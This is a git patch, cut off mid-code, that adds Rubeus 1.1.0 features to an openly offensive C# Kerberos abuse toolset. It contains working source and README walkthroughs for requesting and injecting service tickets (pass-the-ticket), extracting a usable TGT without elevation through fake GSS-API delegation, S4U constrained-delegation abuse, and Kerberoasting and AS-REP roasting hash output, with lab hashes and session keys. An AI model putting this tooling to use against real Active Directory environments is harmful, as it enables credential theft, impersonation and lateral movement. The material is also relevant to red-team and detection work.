From 4c9145752395d48a73faf326c4ae57d2c565be7f Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Sun, 30 Sep 2018 22:09:27 -0400 Subject: [PATCH] Rubeus 1.1.0 [new] "asktgs" action -takes /ptt:X, /dc:X, /ticket:X flags like asktgt - /service:X takes one or more SPN specifications [new] "tgtdeleg" action -reimplements @gentilkiwi's Kekeo tgt::deleg action -uses the GSS-API Kerberos specification (RFC 4121) to request a "fake" delegation context that stores a KRB-CRED in the Authenticator Checksum -combined with extracting the service session key from the local cache, this allows us to recover usable TGTs for the current user without elevation [added] "s4u" action -Added option for multiple alternate snames (/altservice:X,Y,...) -This executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names into the final resulting service ticket structure(s) for as many snames as specified [fix] "dump" action -Corrected extraction of complete ServiceName/TargetName strings [fix] "asreproast" action -fixed salt demarcation line for "asreproast" hashes -added eventual hashcat output format, use "/format:", default of "john" [fix] "kerberoast" action -Added reference for @machsosec for the KerberosRequestorSecurityToken.GetRequest Kerberoasting Method() -Corrected encType extraction for the hash output --- CHANGELOG.md | 31 ++ README.md | 141 +++++- Rubeus/Program.cs | 87 +++- Rubeus/lib/Ask.cs | 160 +++++++ Rubeus/lib/Helpers.cs | 21 + Rubeus/lib/Interop.cs | 374 ++++++++++++++-- Rubeus/lib/LSA.cs | 469 +++++++++++++++++++- Rubeus/lib/Roast.cs | 67 +-- Rubeus/lib/krb_structures/EncKrbCredPart.cs | 2 +- Rubeus/lib/krb_structures/TGS_REQ.cs | 41 +- 10 files changed, 1286 insertions(+), 107 deletions(-) create mode 100644 CHANGELOG.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..a25c137 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,31 @@ +# Changelog +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [1.1.0] - 2018-09-31 +### Added +* **asktgs** action - takes /ptt:X, /dc:X, /ticket:X flags like asktgt, /service:X takes one or more SPN specifications +* **tgtdeleg** action - reimplements @gentilkiwi's Kekeo tgt::deleg function + * uses the GSS-API Kerberos specification (RFC 4121) to request a "fake" delegation context that stores a KRB-CRED in the Authenticator Checksum. Combined with extracting the service session key from the local cache, this allows us to recover usable TGTs for the current user without elevation. +* Added CHANGELOG.md + +### Changed +* **s4u** action now accepts multiple alternate snames (/altservice:X,Y,...) + * This executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names + into the final resulting service ticket structure(s) for as many snames as specified +* **asreproast** action + * added eventual hashcat output format, use "/format:" (default of "john") + +### Fixed +* **dump** action now correctly extracts ServiceName/TargetName strings +* **asreproast** action - fixed salt demarcation line for "asreproast" hashes +* **kerberoast** action + * Added reference for @machsosec for the KerberosRequestorSecurityToken.GetRequest Kerberoasting Method() + * Corrected encType extraction for the hash output + + +## [1.0.0] - 2018-08-24 + +* Initial release diff --git a/README.md b/README.md index 7469e2e..3181b1f 100755 --- a/README.md +++ b/README.md @@ -2,10 +2,12 @@ ---- -Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist. +Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 license) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist. Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code! +The [KerberosRequestorSecurityToken.GetRequest](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method for Kerberoasting was contributed to PowerView by [@machosec](https://twitter.com/machosec). + [@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base. Rubeus is licensed under the BSD 3-Clause license. @@ -24,6 +26,9 @@ Rubeus is licensed under the BSD 3-Clause license. Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit: Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew] + Retrieve a service ticket for one or more SPNs, optionally applying the ticket: + Rubeus.exe asktgs [/dc:DOMAIN_CONTROLLER] [/ptt] + Perform S4U constrained delegation abuse: Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt] @@ -52,6 +57,9 @@ Rubeus is licensed under the BSD 3-Clause license. Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] + Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: + Rubeus.exe tgtdeleg [/target:SPN] + Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions: Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] @@ -210,6 +218,104 @@ C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew [*] Sleeping for 269 minutes (endTime-30) before the next renewal +## asktgs + +The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The /ptt flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more /service:X SPNs must be specified, comma separated. + + C:\Temp\tickets>Rubeus.exe asktgt /user:harmj0y /rc4:2b576acbe6bcfda7294d6bd18041b8fe + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.0.0 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y' + [*] Connecting to 192.168.52.100:88 + [*] Sent 232 bytes + [*] Received 1405 bytes + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIFFjCCBRKgAwIBBa...(snip)... + + C:\Temp\tickets>Rubeus.exe asktgs /ticket:doIFFjCCBRKgAwIBBa...(snip...)== /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.0.0 + + [*] Action: Ask TGS + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building TGS-REQ request for: 'LDAP/primary.testlab.local' + [*] Connecting to 192.168.52.100:88 + [*] Sent 1384 bytes + [*] Received 1430 bytes + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFSjCCBUagAwIBBaEDA...(snip)... + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + [*] Action: Ask TGS + + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building TGS-REQ request for: 'cifs/primary.testlab.local' + [*] Connecting to 192.168.52.100:88 + [*] Sent 1384 bytes + [*] Received 1430 bytes + [+] TGS request successful! + [*] base64(ticket.kirbi): + + doIFSjCCBUagAwIBBaEDAgE...(snip)... + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + + C:\Temp\tickets>C:\Windows\System32\klist.exe tickets + + Current LogonId is 0:0x570ba + + Cached Tickets: (2) + + #0> Client: harmj0y @ TESTLAB.LOCAL + Server: cifs/primary.testlab.local @ TESTLAB.LOCAL + KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 + Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize + Start Time: 9/30/2018 18:17:55 (local) + End Time: 9/30/2018 23:17:01 (local) + Renew Time: 10/7/2018 18:17:01 (local) + Session Key Type: AES-128-CTS-HMAC-SHA1-96 + Cache Flags: 0 + Kdc Called: + + #1> Client: harmj0y @ TESTLAB.LOCAL + Server: LDAP/primary.testlab.local @ TESTLAB.LOCAL + KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 + Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize + Start Time: 9/30/2018 18:17:55 (local) + End Time: 9/30/2018 23:17:01 (local) + Renew Time: 10/7/2018 18:17:01 (local) + Session Key Type: AES-128-CTS-HMAC-SHA1-96 + Cache Flags: 0 + Kdc Called: + ## s4u The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server. @@ -581,7 +687,38 @@ The **dump** action will extract current TGTs and service tickets from memory, i [*] Enumerated 4 total tickets [*] Extracted 1 total tickets -**Note that this action needs to be run from an elevated context!** +**Note that this action needs to be run from an elevated context to extract usable TGTs!** + + +## tgtdeleg + +The **tgtdeleg** using [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi. + + C:\Rubeus>Rubeus.exe tgtdeleg + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.1.0 + + + [*] Action: Request Fake Delegation TGT (current user) + + [*] No target SPN specified, attempting to build 'HOST/dc.domain.com' + [*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local' + [+] Kerberos GSS-API initialization success! + [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. + [*] Found the AP-REQ delegation ticket in the GSS-API output. + [*] Authenticator etype: aes256_cts_hmac_sha1 + [*] Extracted the service ticket session key from the ticket cache: PrrVTn8MgR52epjaG5YnvZMAeCn1TnJn8QfuMh9lvw8= + [+] Successfully decrypted the authenticator + [*] base64(ticket.kirbi): + + doIFNjCCBTKgAwIBBaE...(snip)... ## monitor diff --git a/Rubeus/Program.cs b/Rubeus/Program.cs index 6b56b10..e87252f 100755 --- a/Rubeus/Program.cs +++ b/Rubeus/Program.cs @@ -18,7 +18,7 @@ namespace Rubeus System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); - System.Console.WriteLine(" v1.0.0\r\n"); + System.Console.WriteLine(" v1.1.0\r\n"); } public static void Usage() @@ -28,8 +28,10 @@ namespace Rubeus Console.WriteLine(" Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]"); Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:"); Console.WriteLine(" Rubeus.exe asktgt /user:USER /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]"); - Console.WriteLine("\r\n Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:"); + Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:"); Console.WriteLine(" Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]"); + Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:"); + Console.WriteLine(" Rubeus.exe asktgs [/dc:DOMAIN_CONTROLLER] [/ptt]"); Console.WriteLine("\r\n Perform S4U constrained delegation abuse:"); Console.WriteLine(" Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); Console.WriteLine(" Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); @@ -49,6 +51,8 @@ namespace Rubeus Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]"); Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:"); Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]"); + Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:"); + Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]"); Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:"); Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]"); Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:"); @@ -180,6 +184,63 @@ namespace Rubeus } } + if (arguments.ContainsKey("asktgs")) + { + bool ptt = false; + string dc = ""; + string service = ""; + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else + { + Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); + return; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, ptt, dc, true); + return; + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, ptt, dc, true); + return; + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n"); + return; + } + } + if (arguments.ContainsKey("renew")) { bool ptt = false; @@ -481,6 +542,7 @@ namespace Rubeus string user = ""; string domain = ""; string dc = ""; + string format = "john"; if (arguments.ContainsKey("/user")) { @@ -494,6 +556,11 @@ namespace Rubeus { dc = arguments["/dc"]; } + if (arguments.ContainsKey("/format")) + { + format = arguments["/format"]; + } + if (String.IsNullOrEmpty(user)) { @@ -507,11 +574,11 @@ namespace Rubeus if (String.IsNullOrEmpty(dc)) { - Roast.ASRepRoast(user, domain); + Roast.ASRepRoast(user, domain, "", format); } else { - Roast.ASRepRoast(user, domain, dc); + Roast.ASRepRoast(user, domain, dc, format); } } @@ -553,6 +620,18 @@ namespace Rubeus } } + else if (arguments.ContainsKey("tgtdeleg")) + { + if (arguments.ContainsKey("/target")) + { + LSA.RequestFakeDelegTicket(arguments["/target"]); + } + else + { + LSA.RequestFakeDelegTicket(); + } + } + else if (arguments.ContainsKey("monitor")) { string targetUser = ""; diff --git a/Rubeus/lib/Ask.cs b/Rubeus/lib/Ask.cs index 290116f..7a504d2 100755 --- a/Rubeus/lib/Ask.cs +++ b/Rubeus/lib/Ask.cs @@ -161,5 +161,165 @@ namespace Rubeus return null; } } + + public static void TGS(KRB_CRED kirbi, string service, bool ptt = false, string domainController = "", bool display = true) + { + // extract out the info needed for the TGS-REQ request + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string[] services = service.Split(','); + foreach (string sname in services) { + // request the new service tickt + TGS(userName, domain, ticket, clientKey, etype, sname, ptt, domainController, display); + Console.WriteLine(); + } + } + + public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string service, bool ptt, string domainController = "", bool display = true) + { + if (display) + { + Console.WriteLine("[*] Action: Ask TGS\r\n"); + } + + // grab the default DC if none was supplied + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(); + if (String.IsNullOrEmpty(domainController)) + { + return null; + } + } + + System.Net.IPAddress[] dcIP; + try + { + dcIP = System.Net.Dns.GetHostAddresses(domainController); + } + catch (Exception e) + { + Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message); + return null; + } + if (display) + { + Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]); + Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); + } + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, etype, false); + + byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 13) + { + Console.WriteLine("[+] TGS request successful!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes); + } + return kirbiBytes; + } + else + { + return kirbiBytes; + } + } + else if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } } } \ No newline at end of file diff --git a/Rubeus/lib/Helpers.cs b/Rubeus/lib/Helpers.cs index 3123403..f5e2a67 100755 --- a/Rubeus/lib/Helpers.cs +++ b/Rubeus/lib/Helpers.cs @@ -122,5 +122,26 @@ namespace Rubeus .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) .ToArray(); } + + static public int SearchBytePattern(byte[] pattern, byte[] bytes) + { + List positions = new List(); + int patternLength = pattern.Length; + int totalLength = bytes.Length; + byte firstMatchByte = pattern[0]; + for (int i = 0; i < totalLength; i++) + { + if (firstMatchByte == bytes[i] && totalLength - i >= patternLength) + { + byte[] match = new byte[patternLength]; + Array.Copy(bytes, i, match, 0, patternLength); + if (match.SequenceEqual(pattern)) + { + return i; + } + } + } + return 0; + } } } \ No newline at end of file diff --git a/Rubeus/lib/Interop.cs b/Rubeus/lib/Interop.cs index 302542f..8577901 100755 --- a/Rubeus/lib/Interop.cs +++ b/Rubeus/lib/Interop.cs @@ -455,6 +455,37 @@ namespace Rubeus LOGON32_PROVIDER_WINNT50 } + // from https://github.com/alexbrainman/sspi/blob/master/syscall.go#L113-L129 + [Flags] + public enum ISC_REQ : int + { + DELEGATE = 1, + MUTUAL_AUTH = 2, + REPLAY_DETECT = 4, + SEQUENCE_DETECT = 8, + CONFIDENTIALITY = 16, + USE_SESSION_KEY = 32, + PROMPT_FOR_CREDS = 64, + USE_SUPPLIED_CREDS = 128, + ALLOCATE_MEMORY = 256, + USE_DCE_STYLE = 512, + DATAGRAM = 1024, + CONNECTION = 2048, + EXTENDED_ERROR = 16384, + STREAM = 32768, + INTEGRITY = 65536, + MANUAL_CRED_VALIDATION = 524288, + HTTP = 268435456 + } + + public enum SecBufferType + { + SECBUFFER_VERSION = 0, + SECBUFFER_EMPTY = 0, + SECBUFFER_DATA = 1, + SECBUFFER_TOKEN = 2 + } + // structs @@ -547,16 +578,28 @@ namespace Rubeus public int HighPart; } - [StructLayout(LayoutKind.Sequential)] - public struct SECURITY_HANDLE - { - public IntPtr LowPart; - public IntPtr HighPart; - public SECURITY_HANDLE(int dummy) - { - LowPart = HighPart = IntPtr.Zero; - } - }; + //[StructLayout(LayoutKind.Sequential)] + //public struct SECURITY_HANDLE + //{ + // public IntPtr LowPart; + // public IntPtr HighPart; + // public SECURITY_HANDLE(int dummy) + // { + // LowPart = HighPart = IntPtr.Zero; + // } + //}; + + //[StructLayout(LayoutKind.Sequential)] + //public struct SECURITY_INTEGER + //{ + // public uint LowPart; + // public int HighPart; + // public SECURITY_INTEGER(int dummy) + // { + // LowPart = 0; + // HighPart = 0; + // } + //}; [StructLayout(LayoutKind.Sequential)] public struct LSA_STRING_IN @@ -688,7 +731,11 @@ namespace Rubeus { public Int16 NameType; public UInt16 NameCount; - public LSA_STRING_OUT Names; + + [MarshalAs(UnmanagedType.ByValArray, + SizeConst = 2)] + public LSA_STRING_OUT[] Names; + //public LSA_STRING_OUT[] Names; } [StructLayout(LayoutKind.Sequential)] @@ -763,6 +810,248 @@ namespace Rubeus public LUID ModifiedId; } + // the following are adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [StructLayout(LayoutKind.Sequential)] + public struct SecHandle //=PCtxtHandle + { + IntPtr dwLower; // ULONG_PTR translates to IntPtr not to uint + IntPtr dwUpper; // this is crucial for 64-Bit Platforms + } + + [StructLayout(LayoutKind.Sequential)] + public struct SecBuffer : IDisposable + { + public int cbBuffer; + public int BufferType; + public IntPtr pvBuffer; + + + public SecBuffer(int bufferSize) + { + cbBuffer = bufferSize; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(bufferSize); + } + + public SecBuffer(byte[] secBufferBytes) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)bufferType; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public void Dispose() + { + if (pvBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(pvBuffer); + pvBuffer = IntPtr.Zero; + } + } + } + + public struct MultipleSecBufferHelper + { + public byte[] Buffer; + public SecBufferType BufferType; + + public MultipleSecBufferHelper(byte[] buffer, SecBufferType bufferType) + { + if (buffer == null || buffer.Length == 0) + { + throw new ArgumentException("buffer cannot be null or 0 length"); + } + + Buffer = buffer; + BufferType = bufferType; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecBufferDesc : IDisposable + { + + public int ulVersion; + public int cBuffers; + public IntPtr pBuffers; //Point to SecBuffer + + public SecBufferDesc(int bufferSize) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(byte[] secBufferBytes) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(MultipleSecBufferHelper[] secBufferBytesArray) + { + if (secBufferBytesArray == null || secBufferBytesArray.Length == 0) + { + throw new ArgumentException("secBufferBytesArray cannot be null or 0 length"); + } + + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = secBufferBytesArray.Length; + + //Allocate memory for SecBuffer Array.... + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecBuffer)) * cBuffers); + + for (int Index = 0; Index < secBufferBytesArray.Length; Index++) + { + //Super hack: Now allocate memory for the individual SecBuffers + //and just copy the bit values to the SecBuffer array!!! + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytesArray[Index].Buffer, secBufferBytesArray[Index].BufferType); + + //We will write out bits in the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Note that we won't be releasing the memory allocated by ThisSecBuffer until we + //are disposed... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + Marshal.WriteInt32(pBuffers, CurrentOffset, ThisSecBuffer.cbBuffer); + Marshal.WriteInt32(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer), ThisSecBuffer.BufferType); + Marshal.WriteIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer) + Marshal.SizeOf(ThisSecBuffer.BufferType), ThisSecBuffer.pvBuffer); + } + } + + public void Dispose() + { + if (pBuffers != IntPtr.Zero) + { + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + ThisSecBuffer.Dispose(); + } + else + { + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here is to grab a hold of the pvBuffer allocate by the individual + //SecBuffer and release it... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.FreeHGlobal(SecBufferpvBuffer); + } + } + + Marshal.FreeHGlobal(pBuffers); + pBuffers = IntPtr.Zero; + } + } + + public byte[] GetSecBufferByteArray() + { + byte[] Buffer = null; + + if (pBuffers == IntPtr.Zero) + { + throw new InvalidOperationException("Object has already been disposed!!!"); + } + + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + + if (ThisSecBuffer.cbBuffer > 0) + { + Buffer = new byte[ThisSecBuffer.cbBuffer]; + Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); + } + } + else + { + int BytesToAllocate = 0; + + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here calculate the total number of bytes we need to copy... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); + } + + Buffer = new 